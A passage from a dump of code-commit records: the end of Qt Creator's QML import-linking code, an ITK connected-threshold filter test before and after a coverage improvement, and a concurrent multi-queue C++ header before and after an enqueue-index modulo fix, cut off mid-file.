linkImports();\n}\n\nLink::~Link()\n{\n}\n\nInterpreter::Engine *Link::engine()\n{\n return _context->engine();\n}\n\nvoid Link::scopeChainAt(Document::Ptr doc, Node *currentObject)\n{\n \/\/ ### TODO: This object ought to contain the global namespace additions by QML.\n _context->pushScope(engine()->globalObject());\n\n if (! doc)\n return;\n\n Bind *bind = doc->bind();\n QStringList linkedDocs; \/\/ to prevent cycles\n\n if (doc->qmlProgram()) {\n _context->setLookupMode(Context::QmlLookup);\n\n ObjectValue *scopeObject = 0;\n if (UiObjectDefinition *definition = cast<UiObjectDefinition *>(currentObject))\n scopeObject = bind->findQmlObject(definition);\n else if (UiObjectBinding *binding = cast<UiObjectBinding *>(currentObject))\n scopeObject = bind->findQmlObject(binding);\n\n pushScopeChainForComponent(doc, &linkedDocs, scopeObject);\n\n if (const ObjectValue *typeEnvironment = _context->typeEnvironment(doc.data()))\n _context->pushScope(typeEnvironment);\n } else {\n \/\/ the global scope of a js file does not see the instantiating component\n if (currentObject != 0) {\n \/\/ add scope chains for all components that source this document\n foreach (Document::Ptr otherDoc, _docs) {\n if (otherDoc->bind()->includedScripts().contains(doc->fileName()))\n pushScopeChainForComponent(otherDoc, &linkedDocs);\n }\n\n \/\/ ### TODO: Which type environment do scripts see?\n }\n\n _context->pushScope(bind->rootObjectValue());\n }\n\n if (FunctionDeclaration *fun = cast<FunctionDeclaration *>(currentObject)) {\n ObjectValue *activation = engine()->newObject(\/*prototype = *\/ 0);\n for (FormalParameterList *it = fun->formals; it; it = it->next) {\n if (it->name)\n activation->setProperty(it->name->asString(), engine()->undefinedValue());\n }\n _context->pushScope(activation);\n }\n}\n\nvoid Link::pushScopeChainForComponent(Document::Ptr doc, QStringList *linkedDocs,\n ObjectValue *scopeObject)\n{\n if (!doc->qmlProgram())\n return;\n\n linkedDocs->append(doc->fileName());\n\n Bind *bind = doc->bind();\n\n \/\/ add scopes for all components instantiating this one\n foreach (Document::Ptr otherDoc, _docs) {\n if (linkedDocs->contains(otherDoc->fileName()))\n continue;\n\n if (otherDoc->bind()->usesQmlPrototype(bind->rootObjectValue(), _context)) {\n \/\/ ### TODO: Depth-first insertion doesn't give us correct name shadowing.\n pushScopeChainForComponent(otherDoc, linkedDocs);\n }\n }\n\n if (bind->rootObjectValue())\n _context->pushScope(bind->rootObjectValue());\n\n if (scopeObject && scopeObject != bind->rootObjectValue())\n _context->pushScope(scopeObject);\n\n const QStringList &includedScripts = bind->includedScripts();\n for (int index = includedScripts.size() - 1; index != -1; --index) {\n const QString &scriptFile = includedScripts.at(index);\n\n if (Document::Ptr scriptDoc = _snapshot.document(scriptFile)) {\n if (scriptDoc->jsProgram()) {\n _context->pushScope(scriptDoc->bind()->rootObjectValue());\n }\n }\n }\n\n _context->pushScope(bind->functionEnvironment());\n _context->pushScope(bind->idEnvironment());\n}\n\nvoid Link::linkImports()\n{\n foreach (Document::Ptr doc, _docs) {\n ObjectValue *typeEnv = engine()->newObject(\/*prototype =*\/0); \/\/ ### FIXME\n\n \/\/ Populate the _typeEnvironment with imports.\n populateImportedTypes(typeEnv, doc);\n\n _context->setTypeEnvironment(doc.data(), typeEnv);\n }\n}\n\nstatic QString componentName(const QString &fileName)\n{\n QString componentName = fileName;\n int dotIndex = componentName.indexOf(QLatin1Char('.'));\n if (dotIndex != -1)\n componentName.truncate(dotIndex);\n componentName[0] = componentName[0].toUpper();\n return componentName;\n}\n\nvoid Link::populateImportedTypes(Interpreter::ObjectValue *typeEnv, Document::Ptr doc)\n{\n if (! (doc->qmlProgram() && doc->qmlProgram()->imports))\n return;\n\n QFileInfo fileInfo(doc->fileName());\n const QString absolutePath = fileInfo.absolutePath();\n\n \/\/ implicit imports:\n \/\/ qml files in the same directory are available without explicit imports\n foreach (Document::Ptr otherDoc, _docs) {\n if (otherDoc == doc)\n continue;\n\n QFileInfo otherFileInfo(otherDoc->fileName());\n const QString otherAbsolutePath = otherFileInfo.absolutePath();\n\n if (otherAbsolutePath != absolutePath)\n continue;\n\n typeEnv->setProperty(componentName(otherFileInfo.fileName()),\n otherDoc->bind()->rootObjectValue());\n }\n\n \/\/ explicit imports, whether directories or files\n for (UiImportList *it = doc->qmlProgram()->imports; it; it = it->next) {\n if (! it->import)\n continue;\n\n if (it->import->fileName) {\n importFile(typeEnv, doc, it->import, absolutePath);\n } else if (it->import->importUri) {\n importNonFile(typeEnv, doc, it->import);\n }\n }\n}\n\n\/*\n import \"content\"\n import \"content\" as Xxx\n import \"content\" 4.6\n import \"content\" 4.6 as Xxx\n\n import \"http:\/\/www.ovi.com\/\" as Ovi\n*\/\nvoid Link::importFile(Interpreter::ObjectValue *typeEnv, Document::Ptr doc,\n AST::UiImport *import, const QString &startPath)\n{\n Q_UNUSED(doc)\n\n if (!import->fileName)\n return;\n\n QString path = startPath;\n path += QLatin1Char('\/');\n path += import->fileName->asString();\n path = QDir::cleanPath(path);\n\n ObjectValue *importNamespace = 0;\n\n foreach (Document::Ptr otherDoc, _docs) {\n QFileInfo otherFileInfo(otherDoc->fileName());\n const QString otherAbsolutePath = otherFileInfo.absolutePath();\n\n bool directoryImport = (path == otherAbsolutePath);\n bool fileImport = (path == otherDoc->fileName());\n if (!directoryImport && !fileImport)\n continue;\n\n if (directoryImport && import->importId && !importNamespace) {\n importNamespace = engine()->newObject(\/*prototype =*\/0);\n typeEnv->setProperty(import->importId->asString(), importNamespace);\n }\n\n QString targetName;\n if (fileImport && import->importId) {\n targetName = import->importId->asString();\n } else {\n targetName = componentName(otherFileInfo.fileName());\n }\n\n ObjectValue *importInto = typeEnv;\n if (importNamespace)\n importInto = importNamespace;\n\n importInto->setProperty(targetName, otherDoc->bind()->rootObjectValue());\n }\n}\n\n\/*\n import Qt 4.6\n import Qt 4.6 as Xxx\n (import com.nokia.qt is the same as the ones above)\n*\/\nvoid Link::importNonFile(Interpreter::ObjectValue *typeEnv, Document::Ptr doc, AST::UiImport *import)\n{\n ObjectValue *namespaceObject = 0;\n\n if (import->importId) { \/\/ with namespace we insert an object in the type env. to hold the imported types\n namespaceObject = engine()->newObject(\/*prototype *\/ 0);\n typeEnv->setProperty(import->importId->asString(), namespaceObject);\n\n } else { \/\/ without namespace we insert all types directly into the type env.\n namespaceObject = typeEnv;\n }\n\n \/\/ try the metaobject system\n if (import->importUri) {\n const QString package = Bind::toString(import->importUri, '\/');\n int majorVersion = -1; \/\/ ### TODO: Check these magic version numbers\n int minorVersion = -1; \/\/ ### TODO: Check these magic version numbers\n\n if (import->versionToken.isValid()) {\n const QString versionString = doc->source().mid(import->versionToken.offset, import->versionToken.length);\n const int dotIdx = versionString.indexOf(QLatin1Char('.'));\n if (dotIdx == -1) {\n \/\/ only major (which is probably invalid, but let's handle it anyway)\n majorVersion = versionString.toInt();\n minorVersion = 0; \/\/ ### TODO: Check with magic version numbers above\n } else {\n majorVersion = versionString.left(dotIdx).toInt();\n minorVersion = versionString.mid(dotIdx + 1).toInt();\n }\n }\n#ifndef NO_DECLARATIVE_BACKEND\n foreach (QmlObjectValue *object, engine()->metaTypeSystem().staticTypesForImport(package, majorVersion, minorVersion)) {\n namespaceObject->setProperty(object->qmlTypeName(), object);\n }\n#endif \/\/ NO_DECLARATIVE_BACKEND\n }\n}\n\nUiQualifiedId *Link::qualifiedTypeNameId(Node *node)\n{\n if (UiObjectBinding *binding = AST::cast<UiObjectBinding *>(node))\n return binding->qualifiedTypeNameId;\n else if (UiObjectDefinition *binding = AST::cast<UiObjectDefinition *>(node))\n return binding->qualifiedTypeNameId;\n else\n return 0;\n}\n\nstatic uint qHash(Document::Ptr doc) {\n return qHash(doc.data());\n}\n\nQList<Document::Ptr> Link::reachableDocuments(Document::Ptr startDoc, const Snapshot &snapshot)\n{\n QSet<Document::Ptr> docs;\n\n if (! startDoc)\n return docs.values();\n\n QMultiHash<QString, Document::Ptr> documentByPath;\n foreach (Document::Ptr doc, snapshot)\n documentByPath.insert(doc->path(), doc);\n\n \/\/ ### TODO: This doesn't scale well. Maybe just use the whole snapshot?\n \/\/ Find all documents that (indirectly) include startDoc\n {\n QList<Document::Ptr> todo;\n todo += startDoc;\n\n while (! todo.isEmpty()) {\n Document::Ptr doc = todo.takeFirst();\n\n docs += doc;\n\n Snapshot::const_iterator it, end = snapshot.end();\n for (it = snapshot.begin(); it != end; ++it) {\n Document::Ptr otherDoc = *it;\n if (docs.contains(otherDoc))\n continue;\n\n QStringList localImports = otherDoc->bind()->localImports();\n if (localImports.contains(doc->fileName())\n || localImports.contains(doc->path())\n || otherDoc->bind()->includedScripts().contains(doc->fileName())\n ) {\n todo += otherDoc;\n }\n }\n }\n }\n\n \/\/ Find all documents that are included by these (even if indirectly).\n {\n QSet<QString> processed;\n QStringList todo;\n foreach (Document::Ptr doc, docs)\n todo.append(doc->fileName());\n\n while (! todo.isEmpty()) {\n QString path = todo.takeFirst();\n\n if (processed.contains(path))\n continue;\n processed.insert(path);\n\n if (Document::Ptr doc = snapshot.document(path)) {\n docs += doc;\n\n if (doc->qmlProgram())\n path = doc->path();\n else\n continue;\n }\n\n QStringList localImports;\n foreach (Document::Ptr doc, documentByPath.values(path)) {\n if (doc->qmlProgram()) {\n docs += doc;\n localImports += doc->bind()->localImports();\n localImports += doc->bind()->includedScripts();\n }\n }\n\n localImports.removeDuplicates();\n todo += localImports;\n }\n }\n\n return docs.values();\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include <fstream>\n#include \"itkConnectedThresholdImageFilter.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkFilterWatcher.h\"\n\nint itkConnectedThresholdImageFilterTest(int ac, char* av[] )\n{\n if(ac < 7)\n {\n std::cerr << \"Usage: \" << av[0]\n << \" InputImage OutputImage \"\n << \"seed_x seed_y \"\n << \"LowerConnectedThreshold UpperConnectedThreshold \"\n << \"Connectivity[1=Full,0=Face]\" << std::endl;\n return -1;\n }\n\n typedef unsigned char PixelType;\n typedef itk::Image<PixelType, 2> myImage;\n\n itk::ImageFileReader<myImage>::Pointer input\n = itk::ImageFileReader<myImage>::New();\n input->SetFileName(av[1]);\n\n \/\/ Create a filter\n typedef itk::ConnectedThresholdImageFilter<myImage,myImage> FilterType;\n\n FilterType::Pointer filter = FilterType::New();\n FilterWatcher watcher(filter);\n\n filter->SetInput(input->GetOutput());\n FilterType::IndexType seed; seed[0] = atoi(av[3]); seed[1] = atoi(av[4]);\n filter->AddSeed(seed);\n filter->SetLower(atoi(av[5]));\n filter->SetUpper(atoi(av[6]));\n filter->SetReplaceValue(255);\n\n \/\/ Test the use of full (8 connectivity in 2D) on this image.\n if (ac > 7)\n {\n filter->SetConnectivity( atoi(av[7]) ?\n FilterType::FullConnectivity : FilterType::FaceConnectivity );\n }\n\n try\n {\n input->Update();\n filter->Update();\n }\n catch (itk::ExceptionObject& e)\n {\n std::cerr << \"Exception detected: \" << e.GetDescription();\n return -1;\n }\n\n \/\/ Generate test image\n itk::ImageFileWriter<myImage>::Pointer writer;\n writer = itk::ImageFileWriter<myImage>::New();\n writer->SetInput( filter->GetOutput() );\n writer->SetFileName( av[2] );\n writer->Update();\n\n return EXIT_SUCCESS;\n}\n<commit_msg>ENH: Improve itkConnectedThresholdImageFilter coverage.<commit_after>\/*=========================================================================\n *\n * Copyright Insight Software Consortium\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n *=========================================================================*\/\n\n#include <fstream>\n#include \"itkConnectedThresholdImageFilter.h\"\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n#include \"itkFilterWatcher.h\"\n#include \"itkTestingMacros.h\"\n\nint itkConnectedThresholdImageFilterTest( int argc, char* argv[] )\n{\n if( argc < 7 )\n {\n std::cerr << \"Usage: \" << argv[0]\n << \" InputImage OutputImage \"\n << \"seed_x seed_y \"\n << \"LowerConnectedThreshold UpperConnectedThreshold \"\n << \"Connectivity[1=Full,0=Face]\" << std::endl;\n return -1;\n }\n\n\n \/\/ Define the dimension of the images\n const unsigned int Dimension = 2;\n\n \/\/ Define the pixel types of the images\n typedef unsigned char PixelType;\n\n \/\/ Define the types of the images\n typedef itk::Image< PixelType, Dimension > ImageType;\n\n\n itk::ImageFileReader< ImageType >::Pointer imageReader =\n itk::ImageFileReader< ImageType >::New();\n\n std::string inputImageFilename = argv[1];\n imageReader->SetFileName( inputImageFilename );\n\n TRY_EXPECT_NO_EXCEPTION( imageReader->Update(); );\n\n \/\/ Create the filter\n typedef itk::ConnectedThresholdImageFilter< ImageType, ImageType >\n ConnectedThresholdImageFilterType;\n\n ConnectedThresholdImageFilterType::Pointer connectedThresholdFilter =\n ConnectedThresholdImageFilterType::New();\n\n FilterWatcher watcher( connectedThresholdFilter );\n\n EXERCISE_BASIC_OBJECT_METHODS( connectedThresholdFilter,\n ConnectedThresholdImageFilter, ImageToImageFilter );\n\n\n ConnectedThresholdImageFilterType::IndexType seed;\n seed[0] = atoi( argv[3] );\n seed[1] = atoi( argv[4] );\n\n connectedThresholdFilter->AddSeed( seed );\n ConnectedThresholdImageFilterType::SeedContainerType seedContainer =\n connectedThresholdFilter->GetSeeds();\n\n connectedThresholdFilter->ClearSeeds();\n seedContainer = connectedThresholdFilter->GetSeeds();\n if( seedContainer.size() != 0 )\n {\n std::cerr << \"Test FAILED !\" << std::endl;\n std::cerr << \"Seed container not empty after clearing filter seed container !\" << std::endl;\n return EXIT_FAILURE;\n }\n\n connectedThresholdFilter->SetSeed( seed );\n\n\n ConnectedThresholdImageFilterType::InputPixelObjectType * lowerInputPixelObject =\n connectedThresholdFilter->GetLowerInput();\n connectedThresholdFilter->SetLower( lowerInputPixelObject->Get() );\n TEST_SET_GET_VALUE( lowerInputPixelObject->Get(), connectedThresholdFilter->GetLower() );\n\n ConnectedThresholdImageFilterType::InputPixelObjectType * upperInputPixelObject =\n connectedThresholdFilter->GetUpperInput();\n connectedThresholdFilter->SetUpper( upperInputPixelObject->Get() );\n TEST_SET_GET_VALUE( upperInputPixelObject->Get(), connectedThresholdFilter->GetUpper() );\n\n\n ConnectedThresholdImageFilterType::InputImagePixelType lowerThreshold = atoi( argv[5] );\n connectedThresholdFilter->SetLower( lowerThreshold );\n TEST_SET_GET_VALUE( lowerThreshold, connectedThresholdFilter->GetLower() );\n\n ConnectedThresholdImageFilterType::InputImagePixelType upperThreshold = atoi( argv[6] );\n connectedThresholdFilter->SetUpper( upperThreshold );\n TEST_SET_GET_VALUE( upperThreshold, connectedThresholdFilter->GetUpper() );\n\n ConnectedThresholdImageFilterType::OutputImagePixelType replaceValue = 255;\n connectedThresholdFilter->SetReplaceValue( replaceValue );\n TEST_SET_GET_VALUE( replaceValue, connectedThresholdFilter->GetReplaceValue() );\n\n \/\/ Test the use of full (8 connectivity in 2D) on this image\n if( argc > 7 )\n {\n ConnectedThresholdImageFilterType::ConnectivityEnumType conenctivity = atoi( argv[7] ) ?\n ConnectedThresholdImageFilterType::FullConnectivity : ConnectedThresholdImageFilterType::FaceConnectivity;\n connectedThresholdFilter->SetConnectivity( conenctivity );\n TEST_SET_GET_VALUE( conenctivity, connectedThresholdFilter->GetConnectivity() );\n }\n\n connectedThresholdFilter->SetInput( imageReader->GetOutput() );\n\n TRY_EXPECT_NO_EXCEPTION( connectedThresholdFilter->Update(); );\n\n \/\/ Write the output image\n itk::ImageFileWriter< ImageType >::Pointer writer =\n itk::ImageFileWriter< ImageType >::New();\n\n std::string ouputImageFilename = argv[2];\n writer->SetFileName( ouputImageFilename );\n\n writer->SetInput( connectedThresholdFilter->GetOutput() );\n\n TRY_EXPECT_NO_EXCEPTION( writer->Update() );\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * File: multi_unbounded_queue.hpp\n * Author: Barath Kannan\n * Vector of unbounded queues. Enqueue operations are assigned a subqueue,\n * which is used for all enqueue operations occuring from that thread. The dequeue\n * operation maintains a list of subqueues on which a \"hit\" has occured - pertaining\n * to the subqueues from which a successful dequeue operation has occured. On a\n * successful dequeue operation, the queue that is used is pushed to the front of the\n * list. The \"hit lists\" allow the queue to adapt fairly well to different usage contexts.\n * Created on 25 September 2016, 12:04 AM\n *\/\n\n#ifndef BK_CONQ_MULTI_UNBOUNDED_QUEUE_HPP\n#define BK_CONQ_MULTI_UNBOUNDED_QUEUE_HPP\n\n#include <thread>\n#include <vector>\n#include <mutex>\n#include <bk_conq\/unbounded_queue.hpp>\n\nnamespace bk_conq {\n\ntemplate<typename TT>\nclass multi_unbounded_queue;\n\ntemplate <template <typename> class Q, typename T>\nclass multi_unbounded_queue<Q<T>> : public unbounded_queue<T, multi_unbounded_queue<Q<T>>>{\n\tfriend unbounded_queue<T, multi_unbounded_queue<Q<T>>>;\npublic:\n\tmulti_unbounded_queue(size_t subqueues) :\n\t\t_q(subqueues),\n\t\t_hitlist([&]() {return hitlist_sequence(); }),\n\t\t_enqueue_identifier([&]() { return get_enqueue_index(); }, [&](size_t indx) {return return_enqueue_index(indx); })\n\t{\n\t\tstatic_assert(std::is_base_of<bk_conq::unbounded_queue_typed_tag<T>, Q<T>>::value, \"Q<T> must be an unbounded queue\");\n\t}\n\n\tmulti_unbounded_queue(const multi_unbounded_queue&) = delete;\n\tvoid operator=(const multi_unbounded_queue&) = delete;\n\nprotected:\n\ttemplate <typename R>\n\tvoid sp_enqueue_impl(R&& input) {\n\t\tsize_t indx = _enqueue_identifier.get_tlcl();\n\t\t_q[indx].sp_enqueue(std::forward<R>(input));\n\t}\n\n\ttemplate <typename R>\n\tvoid mp_enqueue_impl(R&& input) {\n\t\tsize_t indx = _enqueue_identifier.get_tlcl();\n\t\t_q[indx].mp_enqueue(std::forward<R>(input));\n\t}\n\n\tbool sc_dequeue_impl(T& output) {\n\t\tauto& hitlist = _hitlist.get_tlcl();\n\t\tfor (auto it = hitlist.begin(); it != hitlist.end(); ++it) {\n\t\t\tif (_q[*it].sc_dequeue(output)) {\n\t\t\t\tfor (auto it2 = hitlist.begin(); it2 != it; ++it2) std::iter_swap(it, it2);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tbool mc_dequeue_impl(T& output) {\n\t\tauto& hitlist = _hitlist.get_tlcl();\n\t\tfor (auto it = hitlist.begin(); it != hitlist.end(); ++it) {\n\t\t\tif (_q[*it].mc_dequeue_uncontended(output)) {\n\t\t\t\tfor (auto it2 = hitlist.begin(); it2 != it; ++it2) std::iter_swap(it, it2);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\tfor (auto it = hitlist.begin(); it != hitlist.end(); ++it) {\n\t\t\tif (_q[*it].mc_dequeue(output)) {\n\t\t\t\tfor (auto it2 = hitlist.begin(); it2 != it; ++it2) std::iter_swap(it, it2);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tbool mc_dequeue_uncontended_impl(T& output) {\n\t\tauto& hitlist = _hitlist.get_tlcl();\n\t\tfor (auto it = hitlist.begin(); it != hitlist.end(); ++it) {\n\t\t\tif (_q[*it].mc_dequeue_uncontended(output)) {\n\t\t\t\tfor (auto it2 = hitlist.begin(); it2 != it; ++it2) std::iter_swap(it, it2);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\nprivate:\n\n\ttemplate <typename U>\n\tclass tlcl {\n\tpublic:\n\t\ttlcl(std::function<U()> defaultvalfunc = nullptr, std::function<void(U)> defaultdeletefunc = nullptr) :\n\t\t\t_defaultvalfunc(defaultvalfunc),\n\t\t\t_defaultdeletefunc(defaultdeletefunc)\n\t\t{\n\t\t\tstd::lock_guard<std::mutex> lock(_m);\n\t\t\tif (!_available.empty()) {\n\t\t\t\t_mycounter = _available.back();\n\t\t\t\t_available.pop_back();\n\t\t\t}\n\t\t\telse {\n\t\t\t\t_mycounter = _counter++;\n\t\t\t}\n\t\t}\n\n\t\tvirtual ~tlcl() {\n\t\t\tstd::lock_guard<std::mutex> lock(_m);\n\t\t\t_available.push_back(_mycounter);\n\t\t}\n\n\t\tU& get_tlcl() {\n\t\t\tthread_local std::vector<std::pair<tlcl<U>*, U>> vec;\n\t\t\tif (vec.size() <= _mycounter) vec.resize(_mycounter+1);\n\t\t\tauto& ret = vec[_mycounter];\n\t\t\tif (ret.first != this) { \/\/reset to default\n\t\t\t\tif (_defaultdeletefunc && ret.first != nullptr) _defaultdeletefunc(ret.second);\n\t\t\t\tif (_defaultvalfunc) ret.second = _defaultvalfunc();\n\t\t\t\tret.first = this;\n\t\t\t}\n\t\t\treturn ret.second;\n\t\t}\n\n\tprivate:\n\t\tstd::function<U()> _defaultvalfunc;\n\t\tstd::function<void(U)> _defaultdeletefunc;\n\t\tsize_t _mycounter;\n\t\tstatic size_t _counter;\n\t\tstatic std::vector<size_t> _available;\n\t\tstatic std::mutex _m;\n\t};\n\n\tstd::vector<size_t> hitlist_sequence() {\n\t\tstd::vector<size_t> hitlist(_q.size());\n\t\tstd::iota(hitlist.begin(), hitlist.end(), 0);\n\t\treturn hitlist;\n\t}\n\n\tsize_t get_enqueue_index() {\n\t\tstd::lock_guard<std::mutex> lock(_m);\n\t\tif (_unused_enqueue_indexes.empty()) {\n\t\t\treturn _enqueue_index++;\n\t\t}\n\t\tsize_t ret = _unused_enqueue_indexes.back();\n\t\t_unused_enqueue_indexes.pop_back();\n\t\treturn ret;\n\t}\n\n\tvoid return_enqueue_index(size_t index) {\n\t\tstd::lock_guard<std::mutex> lock(_m);\n\t\t_unused_enqueue_indexes.push_back(index);\n\t}\n\n\tclass padded_unbounded_queue : public Q<T>{\n\t\tchar padding[64];\n\t};\n\n\tstd::vector<padded_unbounded_queue> _q;\n\t\n\tstd::vector<size_t> _unused_enqueue_indexes;\n\tsize_t\t\t\t\t_enqueue_index{ 0 };\n\tstd::mutex\t\t\t_m;\n\n\ttlcl<std::vector<size_t>> _hitlist;\n\ttlcl<size_t> _enqueue_identifier;\n};\n\ntemplate <template <typename> class Q, typename T> template <typename U>\nsize_t multi_unbounded_queue<Q<T>>::tlcl<U>::_counter = 0;\n\ntemplate <template <typename> class Q, typename T> template <typename U>\nstd::vector<size_t> multi_unbounded_queue<Q<T>>::tlcl<U>::_available;\n\ntemplate <template <typename> class Q, typename T> template <typename U>\nstd::mutex multi_unbounded_queue<Q<T>>::tlcl<U>::_m;\n\n}\/\/namespace bk_conq\n\n#endif \/* BK_CONQ_MULTI_UNBOUNDED_QUEUE_HPP *\/\n<commit_msg>forgot to add modulo operation when acquiring an enqueue index<commit_after>\/*\n * File: multi_unbounded_queue.hpp\n * Author: Barath Kannan\n * Vector of unbounded queues. Enqueue operations are assigned a subqueue,\n * which is used for all enqueue operations occuring from that thread. The dequeue\n * operation maintains a list of subqueues on which a \"hit\" has occured - pertaining\n * to the subqueues from which a successful dequeue operation has occured. On a\n * successful dequeue operation, the queue that is used is pushed to the front of the\n * list. The \"hit lists\" allow the queue to adapt fairly well to different usage contexts.\n * Created on 25 September 2016, 12:04 AM\n *\/\n\n#ifndef BK_CONQ_MULTI_UNBOUNDED_QUEUE_HPP\n#define BK_CONQ_MULTI_UNBOUNDED_QUEUE_HPP\n\n#include <thread>\n#include <vector>\n#include <mutex>\n#include <bk_conq\/unbounded_queue.hpp>\n\nnamespace bk_conq {\n\ntemplate<typename TT>\nclass multi_unbounded_queue;\n\ntemplate <template <typename> class Q, typename T>\nclass multi_unbounded_queue<Q<T>> : public unbounded_queue<T, multi_unbounded_queue<Q<T>>>{\n\tfriend unbounded_queue<T, multi_unbounded_queue<Q<T>>>;\npublic:\n\tmulti_unbounded_queue(size_t subqueues) :\n\t\t_q(subqueues),\n\t\t_hitlist([&]() {return hitlist_sequence(); }),\n\t\t_enqueue_identifier([&]() { return get_enqueue_index(); }, [&](size_t indx) {return return_enqueue_index(indx); })\n\t{\n\t\tstatic_assert(std::is_base_of<bk_conq::unbounded_queue_typed_tag<T>, Q<T>>::value, \"Q<T> must be an unbounded queue\");\n\t}\n\n\tmulti_unbounded_queue(const multi_unbounded_queue&) = delete;\n\tvoid operator=(const multi_unbounded_queue&) = delete;\n\nprotected:\n\ttemplate <typename R>\n\tvoid sp_enqueue_impl(R&& input) {\n\t\tsize_t indx = _enqueue_identifier.get_tlcl();\n\t\t_q[indx].sp_enqueue(std::forward<R>(input));\n\t}\n\n\ttemplate <typename R>\n\tvoid mp_enqueue_impl(R&& input) {\n\t\tsize_t indx = _enqueue_identifier.get_tlcl();\n\t\t_q[indx].mp_enqueue(std::forward<R>(input));\n\t}\n\n\tbool sc_dequeue_impl(T& output) {\n\t\tauto& hitlist = _hitlist.get_tlcl();\n\t\tfor (auto it = hitlist.begin(); it != hitlist.end(); ++it) {\n\t\t\tif (_q[*it].sc_dequeue(output)) {\n\t\t\t\tfor (auto it2 = hitlist.begin(); it2 != it; ++it2) std::iter_swap(it, it2);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tbool mc_dequeue_impl(T& output) {\n\t\tauto& hitlist = _hitlist.get_tlcl();\n\t\tfor (auto it = hitlist.begin(); it != hitlist.end(); ++it) {\n\t\t\tif (_q[*it].mc_dequeue_uncontended(output)) {\n\t\t\t\tfor (auto it2 = hitlist.begin(); it2 != it; ++it2) std::iter_swap(it, it2);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\tfor (auto it = hitlist.begin(); it != hitlist.end(); ++it) {\n\t\t\tif (_q[*it].mc_dequeue(output)) {\n\t\t\t\tfor (auto it2 = hitlist.begin(); it2 != it; ++it2) std::iter_swap(it, it2);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\n\tbool mc_dequeue_uncontended_impl(T& output) {\n\t\tauto& hitlist = _hitlist.get_tlcl();\n\t\tfor (auto it = hitlist.begin(); it != hitlist.end(); ++it) {\n\t\t\tif (_q[*it].mc_dequeue_uncontended(output)) {\n\t\t\t\tfor (auto it2 = hitlist.begin(); it2 != it; ++it2) std::iter_swap(it, it2);\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}\n\nprivate:\n\n\ttemplate <typename U>\n\tclass tlcl {\n\tpublic:\n\t\ttlcl(std::function<U()> defaultvalfunc = nullptr, std::function<void(U)> defaultdeletefunc = nullptr) :\n\t\t\t_defaultvalfunc(defaultvalfunc),\n\t\t\t_defaultdeletefunc(defaultdeletefunc)\n\t\t{\n\t\t\tstd::lock_guard<std::mutex> lock(_m);\n\t\t\tif (!_available.empty()) {\n\t\t\t\t_mycounter = _available.back();\n\t\t\t\t_available.pop_back();\n\t\t\t}\n\t\t\telse {\n\t\t\t\t_mycounter = _counter++;\n\t\t\t}\n\t\t}\n\n\t\tvirtual ~tlcl() {\n\t\t\tstd::lock_guard<std::mutex> lock(_m);\n\t\t\t_available.push_back(_mycounter);\n\t\t}\n\n\t\tU& get_tlcl() {\n\t\t\tthread_local std::vector<std::pair<tlcl<U>*, U>> vec;\n\t\t\tif (vec.size() <= _mycounter) vec.resize(_mycounter+1);\n\t\t\tauto& ret = vec[_mycounter];\n\t\t\tif (ret.first != this) { \/\/reset to default\n\t\t\t\tif (_defaultdeletefunc && ret.first != nullptr) _defaultdeletefunc(ret.second);\n\t\t\t\tif (_defaultvalfunc) ret.second = _defaultvalfunc();\n\t\t\t\tret.first = this;\n\t\t\t}\n\t\t\treturn ret.second;\n\t\t}\n\n\tprivate:\n\t\tstd::function<U()> _defaultvalfunc;\n\t\tstd::function<void(U)> _defaultdeletefunc;\n\t\tsize_t _mycounter;\n\t\tstatic size_t _counter;\n\t\tstatic std::vector<size_t> _available;\n\t\tstatic std::mutex _m;\n\t};\n\n\tstd::vector<size_t> hitlist_sequence() {\n\t\tstd::vector<size_t> hitlist(_q.size());\n\t\tstd::iota(hitlist.begin(), hitlist.end(), 0);\n\t\treturn hitlist;\n\t}\n\n\tsize_t get_enqueue_index() {\n\t\tstd::lock_guard<std::mutex> lock(_m);\n\t\tif (_unused_enqueue_indexes.empty()) {\n\t\t\treturn (_enqueue_index++)%_q.size();\n\t\t}\n\t\tsize_t ret = _unused_enqueue_indexes.back();\n\t\t_unused_enqueue_indexes.pop_back();\n\t\treturn ret;\n\t}\n\n\tvoid return_enqueue_index(size_t index) {\n\t\tstd::lock_guard<std::mutex> lock(_m);\n\t\t_unused_enqueue_indexes.push_back(index);\n\t}\n\n\tclass padded_unbounded_queue : public Q<T>{\n\t\tchar padding[64];\n\t};\n\n\tstd::vector<padded_unbounded_queue> _q;\n\t\n\tstd::vector<size_t> _unused_enqueue_indexes;\n\tsize_t\t\t\t\t_enqueue_index{ 0 };\n\tstd::mutex\t\t\t_m;\n\n\ttlcl<std::vector<size_t>> _hitlist;\n\ttlcl<size_t> _enqueue_identifier;\n};\n\ntemplate <template <typename> class 